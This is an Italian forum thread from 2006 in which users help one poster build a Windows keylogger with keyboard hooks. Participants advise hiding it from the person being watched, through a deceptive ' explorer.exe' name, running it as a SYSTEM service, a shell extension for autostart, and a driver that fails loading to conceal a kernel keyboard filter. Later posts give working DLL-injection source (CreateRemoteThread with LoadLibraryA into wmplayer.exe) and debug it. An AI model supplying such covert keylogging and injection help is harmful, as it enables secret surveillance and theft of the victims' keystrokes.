PDA

View Full Version : [c++] key logger


mamo139
09-10-2006, 21:31
che funzione delle api posso usare per poter registrare i tasti premuti sulla tastiera??

grazie ciao

cionci
09-10-2006, 22:05
Iniziati a guardare questo argomento:
http://windowssdk.msdn.microsoft.com/en-us/library/ms632589.aspx

In particolare questa API:
http://windowssdk.msdn.microsoft.com/en-us/library/ms644990.aspx

Quello che devi realizzare è una DLL con una funzione di callback compatibile con LowLevelKeyboardProc:
http://windowssdk.msdn.microsoft.com/en-us/library/ms644985.aspx

mamo139
10-10-2006, 13:54
in giro non c'è qualche esempio vero??? :mc:

cionci
10-10-2006, 14:03
Certo, basta cercare...

http://www.codeproject.com/dll/keyboardhook.asp?df=100&forumid=2388&exp=0&select=1259703

C'è sicuramente anche molto altro...

mamo139
11-10-2006, 13:42
ma si puo fare solo con una dll?? :confused:

cionci
11-10-2006, 14:50
Certo, altrimenti la callback di hook non può essere raggiunta dagli altri processi...

-fidel-
11-10-2006, 15:47
Avrei sottomano un programma che feci a suo tempo per un esame, il quale, non appena premi il tasto F9, mostra una finestra di dialogo.
Ovviamente, invece di mostrare una finestra di dialogo, potresti sapere che il tasto è stato premuto: estendendo semplicemente il concetto a tutti i tasti... ;)
Se ti interessa lo posto.

EDIT: se non ricordo male, la DLL la caricavo senza lo stub (quindi più semplice da compilare il sorgente, ma leggermente più complicato per reperire i nomi delle funzioni che la DLL esporta, ma del resto sperimentavo per fare bene l'esame :))

71104
11-10-2006, 16:42
i Low Level Hook non necessitano di DLL, può anche essere un normale eseguibile; però il thread che installa l'hook deve avere una coda di messaggi.

71104
11-10-2006, 16:47
ah, comunque ricordo che un key logger fatto in questa maniera è visibilissimo:
1) perché mamo139 vuole farne un eseguibile, e quindi lo si termina tranquillamente da Task Manager
2) perché anche se fosse una DLL esistono programmi che elencano i moduli di ciascun processo e permettono di scaricarli (io stesso ne ho realizzato uno)
3) perché è possibile intercettare e fermare i messaggi tramite il quale sono implementati i Low Level Hooks; e una volta intercettati è anche possibile sapere a quale thread erano indirizzati.

cionci
11-10-2006, 16:48
E' vero, fanno un cambio di contesto per ogni evento...però nell'esempio che avevo linkato usavano la DLL perchè gestivano i tasti con questo hook: http://windowssdk.msdn.microsoft.com/en-us/library/ms644984.aspx

71104: te che ci capisci più di me in questo tipo di cose, quale dei due conviene usare ? Il LowLevel è rallenta un po' tutto il sistema, no ?

cionci
11-10-2006, 16:50
Suppongo che mamo139 sia interessato al Key Logger per imparere...sbaglio ? Quindi penso che questa situazione sia accettabilissima per lui...

71104
11-10-2006, 16:55
71104: te che ci capisci più di me in questo tipo di cose, quale dei due conviene usare ? Il LowLevel è rallenta un po' tutto il sistema, no ? secondo me il rallentamento del sistema non è un problema (basta avere l'accortezza di usare I/O asincrono durante la scrittura del log); ciò che è importante considerare nella creazione di un keylogger è il tipo di target: se si tratta di un classico utonto che sa solo usare Messenger allora è anche sufficiente un eseguibile che usa LowLevelKeyboard e che si chiami " explorer.exe" (con uno spazio iniziale) o qualche altro nome ingannevole, ma se abbiamo a che fare con un fior di amministratore di sistema allora qui ci serve un driver che alloca un'area di memoria su cui scrive il vero codice e poi fallisce il caricamento ritornando uno errore dalla DriverEntry; il driver non apparirà come caricato, e nel frattempo il codice allocato "clandestinamente" può installarsi come Keyboard Filter.

-fidel-
11-10-2006, 18:24
i Low Level Hook non necessitano di DLL, può anche essere un normale eseguibile; però il thread che installa l'hook deve avere una coda di messaggi.

Non ho capito una cosa: potenzialmente tutti gli hook possono risiedere in un eseguibile invece che in una DLL, ma non potrebbe poi essere un hook globale, bensì solo un hook "thread specific". Quindi stai dicendo che un qualunque hook di tastiera non globale funziona lo stesso? Oppure che un Low Level hook funziona lo stesso anche se non è globale?

cionci
11-10-2006, 18:31
I LowLevel Hook sono gestiti in modo diverso rispetto agli hook normali...

However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

-fidel-
11-10-2006, 18:39
I LowLevel Hook sono gestiti in modo diverso rispetto agli hook normali...

However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

Va bene, ma se l'hook installato dal tuo programma non è globale, che sia low level o meno, non riceverà comunque eventi da altri processi/thread. Per intercettare tutti gli eventi della tastiera, l'hook deve essere globale, quindi risiedere in una DLL.
In realtà c'è un modo per rendere l'hook globale SENZA ricorrere all'uso della DLL, ma per fare questo bisgona ricorrere all'assembly.

EDIT: Almeno questo mi risulta, se avete esempi che smentiscono tutto ciò vi prego di postare, sarei molto interessato ;)

cionci
11-10-2006, 18:43
Gli hook necessitano delle DLL per essere appunto iniettati negli altri processi...questo non necessita di essere iniettato negli altri processi perchè probabilmente il sistema tiene una traccia individuale di tutti gli hook di questo tipo e l'hook viene richiamato dal SO (e non dagli altri processi come per i normali hook) quando l'evento viene generato...

-fidel-
11-10-2006, 18:45
Gli hook necessitano delle DLL per essere appunto iniettati negli altri processi...questo non necessita di essere iniettato negli altri processi perchè probabilmente il sistema tiene una traccia individuale di tutti gli hook di questo tipo e l'hook viene richiamato dal SO (e non dagli altri processi come per i normali hook) quando l'evento viene generato...

Sì sì mi sa che hai ragione, incuriosito dal tuo post precedente mi sto documentando meglio sui low level hooks: a prima vista è come dici tu, controllo ancora per conferma :)

EDIT: invece sembra di no, come ricordavo. C'è un modo, ma bisogna ricorrere all'assembly come dicevo prima. Sempre che ci sia un qualche codice che mi smentisca :)

EDIT 2: sono confuso, ancora non mi è chiaro se un low level hook è automaticamente globale... Devo solo provare...

mamo139
11-10-2006, 19:11
Suppongo che mamo139 sia interessato al Key Logger per imparere...sbaglio ? Quindi penso che questa situazione sia accettabilissima per lui...
esatto...

cmq per non farmi perdere il filo :D supponiamo che io voglia fare quello con la dll...
mi sorge subito spontaneo un dubbio... dove cavolo la metto sta dll??? :D

cionci
11-10-2006, 19:11
EDIT: Almeno questo mi risulta, se avete esempi che smentiscono tutto ciò vi prego di postare, sarei molto interessato ;)
http://www.codeproject.com/samples/ForTheKids.asp?df=100&forumid=150915&exp=0&select=1362970
L'ho modificato un po' e funziona alla perfezione per loggare tutti i tasti ;)

mamo139
11-10-2006, 19:13
L'ho modificato un po' e funziona alla perfezione per loggare tutti i tasti ;)
posteresti i sorgenti così guardo anche quello??? piu roba c'è piu capisco :D

fero86
11-10-2006, 19:22
ciao, scusa se mi intrometto...

Non ho capito una cosa: potenzialmente tutti gli hook possono risiedere in un eseguibile invece che in una DLL, ma non potrebbe poi essere un hook globale, bensì solo un hook "thread specific". ciò che dici vale per tutti gli hook tranne che per quelli Low Level (c'è una dicitura apposta su MSDN, guarda ad esempio la pagina di LowLevelKeyboardProc :)).

Quindi stai dicendo che un qualunque hook di tastiera non globale funziona lo stesso? Oppure che un Low Level hook funziona lo stesso anche se non è globale? la seconda

EDIT: non avevo visto la spiegazione di cionci :p

-fidel-
11-10-2006, 19:24
http://www.codeproject.com/samples/ForTheKids.asp?df=100&forumid=150915&exp=0&select=1362970
L'ho modificato un po' e funziona alla perfezione per loggare tutti i tasti ;)

Ottimo! Non è che posteresti i sorgenti? Ho dimenticato il login a Code Project e non mi va di reiscrivermi :)
Comunque non capisco una cosa: nella descrizione del programma, si vede la seguente riga di codice:
TheKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, ppI,0);

che sembra cozzare con MSDN:
(dalla documentazione per
HHOOK SetWindowsHookEx(
int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId
);

lpfn
[in] Pointer to the hook procedure. If the dwThreadId parameter is zero or specifies the identifier of a thread created by a different process, the lpfn parameter must point to a hook procedure in a DLL. Otherwise, lpfn can point to a hook procedure in the code associated with the current process.
hMod
[in] Handle to the DLL containing the hook procedure pointed to by the lpfn parameter. The hMod parameter must be set to NULL if the dwThreadId parameter specifies a thread created by the current process and if the hook procedure is within the code associated with the current process.
dwThreadId
[in] Specifies the identifier of the thread with which the hook procedure is to be associated. If this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread.

-fidel-
11-10-2006, 19:27
@ mamo:

Io ho disponibile, come dicevo qualche post fa, un programma che feci hai tempi dell'università, che installa un hook per tastiera globale non low level (usando quindi una DLL), totalmente commentato (era un esercizio settimanale :))
Se vuoi posto il progetto per Visual Studio. Da quel progetto penso che in pochi minuti implementi un keylogger.

mamo139
11-10-2006, 19:31
@ mamo:

Io ho disponibile, come dicevo qualche post fa, un programma che feci hai tempi dell'università, che installa un hook per tastiera globale non low level (usando quindi una DLL), totalmente commentato (era un esercizio settimanale :))
Se vuoi posto il progetto per Visual Studio. Da quel progetto penso che in pochi minuti implementi un keylogger.
si mi farebbe molto piacere... grazie! ;)

cionci
11-10-2006, 22:12
Ecco qui, ho modificato l'esempio sopra molto in fretta...

-fidel-
12-10-2006, 09:03
Ecco il programma di cui parlavo prima: è soprattutto un buon esempio su come caricare una DLL in un processo senza usare lo stub .lib per compilare, oltre a mostrare l'uso di un hook globale in una DLL.

NOTA: il progetto è per Visual Studio 6: se hai Visual Studio 2003, ti basta rispondere "Sì" alla domanda di conversione progetto, una volta caricato vai nel Solution Explorer (il pannello sulla destra di VS 2003), click col tasto destro sulla cartella KbdHook e selezionare "Set as StartUp Project" (il nome della cartella diventa in grassetto).

EDIT: Nessuna risposta al mio post #22 ?

EDIT 2: Ah, questo programma NON fa uso delle librerie MFC, bensì è scritto in modo classico (Win32 API programming), quindi in C plain ed implementando la coda dei messaggi, mentre il programma postato da cionci usa le MFC.
Tra l'altro, quel programma non compila, mancano i files "ImageLoader.cpp" e "ImageLoader.h"! L'ho lanciando togliendo i riferimenti a quei files, ma poi il programma non funziona correttamente... Cionci, non è che puoi ripostarlo? :D

71104
12-10-2006, 12:59
EDIT: Nessuna risposta al mio post #22 ? si tratta di un'incoerenza dovuta a motivi di natura probabilmente cronologica; non è l'unica che abbia incontrato nella mia esperienza.

ciò che hai riportato di MSDN vale per tutti gli hook tranne quelli Low Level, che sono stati aggiunti successivamente e sono implementati in maniera leggermente diversa.

-fidel-
12-10-2006, 14:49
si tratta di un'incoerenza dovuta a motivi di natura probabilmente cronologica; non è l'unica che abbia incontrato nella mia esperienza.

ciò che hai riportato di MSDN vale per tutti gli hook tranne quelli Low Level, che sono stati aggiunti successivamente e sono implementati in maniera leggermente diversa.

Sì, la documentazione è incoerente come dici: oltre ai low level hooks, anche con gli hook "normali" la documentazione è discorde. Infatti, nel programma che ho postato (fatto circa 3 anni fa), chiamavo la SetWindowsHookEx (all'interno della DLL) in questo modo:

hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardHookProc, NULL, 0);

Il programma, compilato con VS 6, funzionava benissimo. Prima di postarlo, l'ho compilato e provato con VS .NET e, sorpresa, l'hook non veniva creato (la funzione restituiva NULL...). Ho dovuto modificare la chiamata in questo modo:

hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardHookProc, hDllInstance, 0);
/* hDllInstance è l'handle alla DLL stessa (simile a "this" in Java) */

Quindi ho dovuto comunque specificare l'handle del modulo contenente il codice, a differenza d quanto specificato in MSDN. Ora e tutto chiaro :)

EDIT: Più che il compilatore usato, dal momento che il programma compila sia con VS 6 che con VS .NET, è proprio Windows che è cambiato: il programma, con la prima chiamata SetWindowsHookEx, settava tranquillamente l'hook con Win XP SP1, mentre da quando ho installato il SP2, l'hook viene installato solo se viene specificato anche l'handle alla DLL (come nel secondo stralcio di codice postato).

cionci
12-10-2006, 16:36
L'ho lanciando togliendo i riferimenti a quei files, ma poi il programma non funziona correttamente... Cionci, non è che puoi ripostarlo? :D
A me funziona...ho tolto l'include mancante e mi va alla perfezione (l'ho aperto dal file .vcproj

mamo139
12-10-2006, 20:40
Ecco il programma di cui parlavo prima: è soprattutto un buon esempio su come caricare una DLL in un processo senza usare lo stub .lib per compilare, oltre a mostrare l'uso di un hook globale in una DLL.


ok si è compilato alla perfezione... io clicco su KbdHook.exe e mi dice:
esecuzione in corso ecc...
ma detta in soldoni... dove le vedo le lettere che premo :p ??

-fidel-
12-10-2006, 23:39
ok si è compilato alla perfezione... io clicco su KbdHook.exe e mi dice:
esecuzione in corso ecc...
ma detta in soldoni... dove le vedo le lettere che premo :p ??

Avvia il programma (non è importante che sia in primo piamo), poi prova a premere il tasto F10, e dimmi cosa succede.
Come fa il programma ad "accorgersi" che è stato premuto proprio quel tasto?
Semplice: tutti gli eventi della tastiera passano per la funzione KeyboardHookProc all'interno della DLL (il file KbdHookDll.cpp). Quella funzione è la funzione associata all'hook: ogni volta che l'hook "cattura" la pressione di un qualunque tasto della tastiera, chiama quella funzione.
All'interno della funzione, puoi sapere quale tasto è stato premuto tramite i parametri "wParam" e "lParam": nel mio programma controllo che il tasto premuto corrisponde ad F10, ed in caso affermativo visualizza una finestra di dialogo, tu puoi farci ciò che vuoi (ad esempio "codificare" il carattere, cioè sapere tramite i due parametri il tasto premuto, e scriverlo su un file di testo).
Ti rimando alla documentazione su MSDN della funzione KeyboardHookProc (la trovi facilmente seguendo la documentazione della funzione SetWindowsHookEx) per conoscere COME interpretare i parametri "wParam" e "lParam" per sapere il tasto premuto.
Ah, il mio programma visualizza una finestrella mentre è in esecuzione, essendo un esempio, così da poterlo chiudere facilmente: tu ovviamente, volendo fare un keylogger, elimini qualunque output a video, e il processo lo chiudi con il Task Manager. O ancora meglio lo rendi un servizio...

Buon divertimento :)

NOTA: Il codice è ampiamente commentato, quindi non credo avrai problemi, per la descrizione completa delle funzioni (e per comprenderle pienamente) rifatti alla documentazione ufficiale MSDN.

71104
12-10-2006, 23:54
O ancora meglio lo rendi un servizio... il Task Manager di NT comunque visualizza anche i servizi (su XP sono praticamente quasi tutti quelli che girano sotto l'account SYSTEM).

-fidel-
13-10-2006, 09:04
il Task Manager di NT comunque visualizza anche i servizi (su XP sono praticamente quasi tutti quelli che girano sotto l'account SYSTEM).

Sì, ma lo vedi nella lista dei processi, e non in quello delle applicazioni in esecuzione. Già questo può essere sufficiente in molti casi (come tu stesso facevi notare qualche post fa) ;)

mamo139
13-10-2006, 15:08
grazie mille fidel... spiegazione perfetta!!! :D

e come si fa a renderlo un servizo??
sarebbe utile anche perche se non dico male i programmi eseguiti come SYSTEM hanno "poteri" da admin :p giusto??

-fidel-
13-10-2006, 15:52
grazie mille fidel... spiegazione perfetta!!! :D

e come si fa a renderlo un servizo??
sarebbe utile anche perche se non dico male i programmi eseguiti come SYSTEM hanno "poteri" da admin :p giusto??

Prego :)
Per installare un nuovo servizio in modo semplice, ti consiglio questa utility:

http://p-nand-q.com/e/pserv.html

è un file .cpl: doppio click ed aggiunge una voce nel Pannello di Controllo di Windows: usala per aggiungere e rimuovere i servizi, occhio però a non fare danni (tipo rimuovere servizi vitali per Windows ;)).
Per aggiungere un nuovo servizio, ti basta andare nel menu "Object" e scegliere "Install", inserisci i dettagli richiesti ed è fatta.
Se lo vuoi fare via codice, con un programma ad hoc che, eseguito con privilegi di amministratore (ossia l'account di default di Win XP.......), ti permette di aggiungere un servizio alla lista dei servizi la cosa è un po' più complessa.

NB: Sì, i servizi girano in account SYSTEM se non erro.

mamo139
13-10-2006, 16:15
installato...

così per curiosità: non c'è un modo per inserirli ad esempio attraverso il registro o cmq in un modo manuale o sarebbe troppo complicato?? :rolleyes:

71104
13-10-2006, 17:23
Sì, ma lo vedi nella lista dei processi, e non in quello delle applicazioni in esecuzione. capirai, allora è sufficiente non creare nessuna finestra...

71104
13-10-2006, 17:26
installato...

così per curiosità: non c'è un modo per inserirli ad esempio attraverso il registro o cmq in un modo manuale o sarebbe troppo complicato?? :rolleyes: su Windows esistono una svaria di modi per ottenere che un modulo sia caricato automaticamente all'avvio; poi naturalmente dipende anche da che tipo di caricamento si vuole ottenere (ad ogni creazione di explorer.exe, ad ogni logon, all'avvio del sistema, eccetera eccetera).

il miglior* sistema che io conosca è quello di creare una shell extension, ma nota bene che se il target dei tuoi misfatti ( :Prrr: ) è un autentico esemplare di utonto, e come tale lavora normalmente con Administrator, allora è di gran lunga preferibile l'idea del driver che ho descritto qualche post fa...

* migliore nel senso che più si adatta a questo genere di malefatte :D
ma naturalmente se volessimo semplicemente creare un programma che si avvia automaticamente senza doversi nascondere allora sarebbe chiaramente meglio installare la voce in Esecuzione Automatica o il valore nella chiave di registro Run.

-fidel-
13-10-2006, 17:58
capirai, allora è sufficiente non creare nessuna finestra...

Certo, ma se non erro (sono su linux nel 99,9% del tempo e non posso verificare ora) i processi avviati come servizi vengono etichettati diversamente dal Task Manager, rendendoli meno evidenti ad un utente non molto esperto.

71104
14-10-2006, 13:35
Certo, ma se non erro (sono su linux nel 99,9% del tempo e non posso verificare ora) i processi avviati come servizi vengono etichettati diversamente dal Task Manager, rendendoli meno evidenti ad un utente non molto esperto. :wtf: stanno là e basta; hanno solo la particolare caratteristica di girare sotto l'account SYSTEM...

mamo139
16-10-2006, 14:32
su Windows esistono una svaria di modi per ottenere che un modulo sia caricato automaticamente all'avvio; poi naturalmente dipende anche da che tipo di caricamento si vuole ottenere (ad ogni creazione di explorer.exe, ad ogni logon, all'avvio del sistema, eccetera eccetera).

il miglior* sistema che io conosca è quello di creare una shell extension, ma nota bene che se il target dei tuoi misfatti ( :Prrr: ) è un autentico esemplare di utonto, e come tale lavora normalmente con Administrator, allora è di gran lunga preferibile l'idea del driver che ho descritto qualche post fa...

* migliore nel senso che più si adatta a questo genere di malefatte :D
ma naturalmente se volessimo semplicemente creare un programma che si avvia automaticamente senza doversi nascondere allora sarebbe chiaramente meglio installare la voce in Esecuzione Automatica o il valore nella chiave di registro Run.
e mi puoi parlare un po del migliore??? :D :D :D

mamo139
16-10-2006, 21:05
e la dll injection com'è?? un metodo valido??

-fidel-
16-10-2006, 22:37
e la dll injection com'è?? un metodo valido??

Sì, ma lo fai in presenza di un bug di un applicativo normalmente, e questo bug deve essere a te ben noto e il programma non deve essere patchato (di solito i bugs che ti permettono di fare dll injection vengono corretti velocemente). Inoltre, il tuo codice deve essere snello (e piccolo in numero di bytes), per essere iniettato. Un'ultimo prerequisito: devi conoscere un po' di assembly per fare uno shellcode.

EDIT: scusami, tu parlavi di dll injection, io di code injection in presenza di buffer overrun...

-fidel-
16-10-2006, 22:39
:wtf: stanno là e basta; hanno solo la particolare caratteristica di girare sotto l'account SYSTEM...

Eh appunto, molti utenti non prendono in considerazione come processi maligni quelli che girano come SYSTEM, quindi di solito passa maggiormente inosservato (soprattutto se il processo ha un nome familiare).

EDIT: Ah volevo chiederti:
ma se abbiamo a che fare con un fior di amministratore di sistema allora qui ci serve un driver che alloca un'area di memoria su cui scrive il vero codice e poi fallisce il caricamento ritornando uno errore dalla DriverEntry; il driver non apparirà come caricato, e nel frattempo il codice allocato "clandestinamente" può installarsi come Keyboard Filter.
Tale codice allocato dalla dll deve comunque essere avviato no? Esso viene comunque visto come un processo?
Se parli di dll injection, perché utilizzare tutti il meccanismo di caricare la dll da iniettare tramite un'altra dll?

71104
16-10-2006, 23:15
Tale codice allocato dalla dll deve comunque essere avviato no? non parlavo di DLL, parlavo di realizzare un driver...

Esso viene comunque visto come un processo? non a se stante: i drivers girano nel contesto del processo System. è possibile enumerarli, ma se un driver fallisce il caricamento non risulterà nell'enumerazione; solo che, prima di essere ritornato dalla DriverEntry con un errore, potrebbe benissimo avere allocato un'area in kernel space, essercisi ricopiato e rilocato completamente, ed aver installato la sua copia come un Keyboard Filter. I dettagli li dovrei studiare bene, non l'ho mai fatto ^^

Se parli di dll injection, la DLL injection avviene in user mode, è un altro discorso.

perché utilizzare tutti il meccanismo di caricare la dll da iniettare tramite un'altra dll? :wtf:

71104
16-10-2006, 23:16
e mi puoi parlare un po del migliore??? :D :D :D dovresti creare una DLL, ma tu non vuoi :Prrr:

71104
16-10-2006, 23:20
e la dll injection com'è?? un metodo valido?? idem come sopra :D

la DLL injection si basa su un semplice trucchetto. osserva su MSDN i prototipi dell'entry point di un thread e della funzione LoadLibrary[A/W]: sono formalmente simili, ma alla fine stringi stringi risultano essere addirittura esattamente identici. di conseguenza tu potresti usare la funzione LoadLibrary come entry point di un thread in un altro processo (il che significherebbe costringere l'altro processo a caricare una DLL), e puoi creare il thread nell'altro processo con la funzione CreateRemoteThread. prima però devi anche usare WriteProcessMemory per scrivere nell'altro processo una stringa contenente il nome del file DLL da fargli caricare (altrimenti come parametro per il nuovo thread che gli passi?)

-fidel-
16-10-2006, 23:31
non parlavo di DLL, parlavo di realizzare un driver...

non a se stante: i drivers girano nel contesto del processo System. è possibile enumerarli, ma se un driver fallisce il caricamento non risulterà nell'enumerazione; solo che, prima di essere ritornato dalla DriverEntry con un errore, potrebbe benissimo avere allocato un'area in kernel space, essercisi ricopiato e rilocato completamente, ed aver installato la sua copia come un Keyboard Filter. I dettagli li dovrei studiare bene, non l'ho mai fatto ^^


Ora mi è chiaro. Mi era sfuggito il fatto del driver...

la DLL injection avviene in user mode, è un altro discorso.

:wtf:

Idem come sopra :)

mamo139
17-10-2006, 16:14
idem come sopra :D

la DLL injection si basa su un semplice trucchetto. osserva su MSDN i prototipi dell'entry point di un thread e della funzione LoadLibrary[A/W]: sono formalmente simili, ma alla fine stringi stringi risultano essere addirittura esattamente identici. di conseguenza tu potresti usare la funzione LoadLibrary come entry point di un thread in un altro processo (il che significherebbe costringere l'altro processo a caricare una DLL), e puoi creare il thread nell'altro processo con la funzione CreateRemoteThread. prima però devi anche usare WriteProcessMemory per scrivere nell'altro processo una stringa contenente il nome del file DLL da fargli caricare (altrimenti come parametro per il nuovo thread che gli passi?)
ho trovato questo bell'esepiuccio:)
ora però c'è un problema... l'effetto che dovrebbe dare la mia dll nn c'è... come mai???

int main(int argc, char **argv){
char processName[] = "wmplayer.exe"; /* Nome processo su cui effettuare injection */
char logFile[]= "log.txt"; /* Nome del file di log per controllare successo o fallimento operazioni */
char dllName[]="dll.dll"; /* Nome dll da cui prelevare il codice da iniettare */

HANDLE proc, thread;
DWORD threadId, bWritten;
BOOL check;
VOID *remoteBuff;
DWORD pid;
FILE *fp;

fp = fopen(logFile, "w");
fprintf(fp, "Looking for: %s\n\n", processName);

pid = trovaPid(processName, fp);

if(pid == 0xFFFFFFFF){
fprintf(fp, "\nProcess not found\n");
return 0;
}

check = abilitaSeDebugName(fp);
if (check == 0){
fprintf(fp, "\nAbilitazione privilegio SE_DEBUG_NAME fallita\n");
}

proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (proc == NULL){
fprintf(fp, "Errore OpenProcess() %d\n", GetLastError());
return -1;
}

remoteBuff = VirtualAllocEx(proc, NULL, strlen(dllName), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remoteBuff == NULL){
fprintf(fp, "Errore VirtualAllocEx() %d\n", GetLastError());
return -1;
}
else
fprintf(fp, "\nCreati %d bytes all' indirizzo 0x%x\n", strlen(dllName), (ULONG)remoteBuff);

check = WriteProcessMemory(proc, remoteBuff, dllName, strlen(dllName), &bWritten);
if (check == 0){
fprintf(fp, "Errore WriteProcessMemory() %d\n", GetLastError());
return -1;
}

thread = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA"), remoteBuff, 0, &threadId);
if (thread == NULL)
fprintf(fp, "Errore CreateRemoteThread() %d\n", GetLastError());

fprintf(fp, "\nInjection eseguita\n");
fclose(fp);
return 0;
}
la dll è questa:#include <windows.h>

BOOL WINAPI __declspec(dllexport) LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH: {/* operazioni di inizializzazione della dll */

system("c:\\programmi\\internet explorer\\iexplore.exe");
system("pause");
MessageBox(0, "Codice eseguito!!!!", "DLL Loaded", MB_OK); return TRUE;

}
case DLL_PROCESS_DETACH: /* operazioni di rilascio della dll */
break;
}
return TRUE;
}

71104
17-10-2006, 16:17
fa schifo, è pieno di leak; ora cmq lo guardo meglio e vedo se ci sono errori.

mamo139
17-10-2006, 16:19
fa schifo, è pieno di leak; ora cmq lo guardo meglio e vedo se ci sono errori.
grazie mille x l'aiuto... nn mi resta che attendere :p

71104
17-10-2006, 16:20
scusa ma sul file di log cosa stampa...?

mamo139
17-10-2006, 16:47
i possibili errori... :rolleyes:

-fidel-
17-10-2006, 16:48
fa schifo, è pieno di leak; ora cmq lo guardo meglio e vedo se ci sono errori.

Emh, ma che dici?!? :wtf: Quel codice è ottimo...

Mamo, hai le funzioni "trovaPID()" e "abilitaSeDebugName()"?

EDIT: Ah, se non avvii wmplayer.exe non funzionerà mai... Avvia prima Windows Media Player dal menù Start di Windows, poi il tuo programma di injection.

EDIT 2: trovato l'errore! Il problema è nella DLL, o meglio, nel main della DLL.
Guarda che l'intestazione del main (entry point della DLL) non si chiama più "LibMain" da secoli... Ora si chiama "DllMain", ed inoltre non è più necessario usare la __declspec(dllexport) per l'entry point (main), dal momento che questo viene sempre esportato automaticamente.
In soldoni, sostituisci:


BOOL WINAPI __declspec(dllexport) LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)

con

BOOL APIENTRY DllMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)

mamo139
17-10-2006, 16:55
Emh, ma che dici?!? :wtf: Quel codice è ottimo...
Mamo, hai le funzioni "trovaPID()" e "abilitaSeDebugName()"?

si ce le ho...


EDIT: Ah, se non avvii wmplayer.exe non funzionerà mai... Avvia prima Windows Media Player dal menù Start di Windows, poi il tuo programma di injection.
si lo avevo avviato...

ti ho allegato i sorgenti della dll e l'exe che dovrebbe iniettarla... così puoi verificare di persona e dirmi se a te funziona...

-fidel-
17-10-2006, 16:59
Leggi il mio secondo edit :)

mamo139
17-10-2006, 17:00
EDIT 2: trovato l'errore! Il problema è nella DLL, o meglio, nel main della DLL.
Guarda che l'intestazione del main (entry point della DLL) non si chiama più "LibMain" da secoli... Ora si chiama "DllMain", ed inoltre non è più necessario usare la __declspec(dllexport) per l'entry point (main), dal momento che questo viene sempre esportato automaticamente.
In soldoni, sostituisci:


BOOL WINAPI __declspec(dllexport) LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)

con

BOOL APIENTRY DllMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)
fatto e provato... ma nn va comunque... cmq prova l'allegato che ti ho uploadato...( nn ho fatto la modifica che mi hai detto nei sorgenti che ho uploadato xche uploadati precedentemente :p )

-fidel-
17-10-2006, 17:01
ti ho allegato i sorgenti della dll e l'exe che dovrebbe iniettarla... così puoi verificare di persona e dirmi se a te funziona...

Non ce n'era bisogno, vai tranquillo :) Ho lavorato sul code injection e sulle tecniche per prevenirlo per più di un anno....

71104
17-10-2006, 17:02
Emh, ma che dici?!? :wtf: Quel codice è ottimo...
linea 20: salta la fclose
linea 28: l'handle rimane aperto
linea 31: salta la fclose
linea 34: MEM_RESERVE è inutile, e per la protezione è sufficiente PAGE_READONLY
linea 34: manca una corrispondente VirtualFreeEx
linea 37: salta la fclose
linea 45: salta la fclose
linea 48: l'handle rimane aperto

ed inoltre manca una SetLastError all'inizio del main (chi ti dice che il last error parte nullo?)


Mamo, hai le funzioni "trovaPID()" banale lavoro di PSAPI (possibilmente senza lasciare leak madornali :asd: )

e "abilitaSeDebugName()"? to':
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/openprocesstoken.asp?frame=true
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/adjusttokenprivileges.asp

e ricordati CloseHandle alla fine sul token :Prrr:

PS: "inutile liberare memoria e handles, tanto ci pensa il sistema operativo alla chiusura del processo"? che culo, magari sapessi programmare così bene... -.-'

-fidel-
17-10-2006, 17:02
fatto e provato... ma nn va comunque... cmq prova l'allegato che ti ho uploadato...( nn ho fatto la modifica che mi hai detto nei sorgenti che ho uploadato xche uploadati precedentemente :p )

Ok provo, ma dvo riavviare per entrare con Windows :O

mamo139
17-10-2006, 17:06
Ok provo, ma dvo riavviare per entrare con Windows :O
eheh grazie :D

71104
17-10-2006, 17:08
[...] dal momento che questo viene sempre esportato automaticamente. veramente l'entry point non è tra le funzioni esportate... verifica tu stesso con PEView (http://www.magma.ca/~wjr/PEview.zip) o con Dependency Walker su una qualsiasi DLL.

71104
17-10-2006, 17:09
i possibili errori... :rolleyes: :muro:

intendevo dire...

eseguilo e riportami il contenuto del file di log... :mc:

-fidel-
17-10-2006, 17:12
linea 20: salta la fclose
linea 28: l'handle rimane aperto
linea 31: salta la fclose
linea 34: MEM_RESERVE è inutile, e per la protezione è sufficiente PAGE_READONLY
linea 34: manca una corrispondente VirtualFreeEx
linea 37: salta la fclose
linea 45: salta la fclose
linea 48: l'handle rimane aperto

PS: "inutile liberare memoria e handles, tanto ci pensa il sistema operativo alla chiusura del processo"? che culo, magari sapessi programmare così bene... -.-'

Bene, ti sei risposto da solo :) Se quelli sono leaks... Appena il programma di injection termina, tutti i files descriptors vengono chiusi, la memoria liberata, mentre per quanto riguarda la VirtualAllocEx, il buffer deve restare allocato nello spazio di memoria del processo "vittima" per fargli caricare la dll (al massimo può essere liberato quando tutto è finito, ma quei pochi bytes verranno comunque liberati alla chiusura del processo "vittima".

mamo139
17-10-2006, 17:13
Looking for: wmplayer.exe

Process Name: Process ID: 0
Process Name: System Process ID: 4
Process Name: smss.exe Process ID: 640
Process Name: csrss.exe Process ID: 732
Process Name: winlogon.exe Process ID: 756
Process Name: services.exe Process ID: 800
Process Name: lsass.exe Process ID: 812
Process Name: ati2evxx.exe Process ID: 956
Process Name: svchost.exe Process ID: 992
